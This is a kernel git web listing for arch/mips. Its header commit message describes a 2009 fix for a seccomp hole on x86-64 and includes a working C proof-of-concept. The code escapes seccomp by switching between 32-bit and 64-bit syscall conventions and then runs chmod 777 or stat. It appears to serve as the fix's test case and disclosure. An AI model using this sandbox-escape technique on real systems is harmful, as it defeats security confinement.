linux-stable-rt/arch/mips
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
..
alchemy MIPS: Alchemy: In plat_time_init() t reaches -1, tested: 0 2009-02-27 17:56:34 +00:00
basler/excite
bcm47xx
boot
cavium-octeon MIPS: Octeon: Remove duplicated #includes 2009-01-30 21:32:57 +00:00
cobalt
configs MIPS: IP27: Switch from DMA_IP27 to DMA_COHERENT 2009-01-30 21:32:58 +00:00
dec
emma
fw
gt64120/wrppmc
include/asm x86-64: seccomp: fix 32/64 syscall hole 2009-03-02 15:41:30 -08:00
jazz
kernel Revert "MIPS: Print irq handler description" 2009-02-27 17:56:35 +00:00
lasat
lemote/lm2e
lib MIPS: IP27: Switch from DMA_IP27 to DMA_COHERENT 2009-01-30 21:32:58 +00:00
math-emu
mipssim
mm MIPS: CVE-2009-0029: Enable syscall wrappers. 2009-02-27 17:56:35 +00:00
mti-malta
nxp
oprofile
pci MIPS: RC32434: Define io_map_base for PCI controller 2009-01-30 21:32:59 +00:00
pmc-sierra
rb532 MIPS: RB532: Export rb532_gpio_set_func() 2009-01-30 21:33:01 +00:00
sgi-ip22
sgi-ip27
sgi-ip32
sibyte
sni
txx9 MIPS: TXx9: Add support for TX4939 internal RTC 2009-01-30 21:32:58 +00:00
vr41xx
Kconfig MIPS: CVE-2009-0029: Enable syscall wrappers. 2009-02-27 17:56:35 +00:00
Kconfig.debug
Makefile MIPS: Alchemy: Move development board code to common subdirectory 2009-01-11 09:57:25 +00:00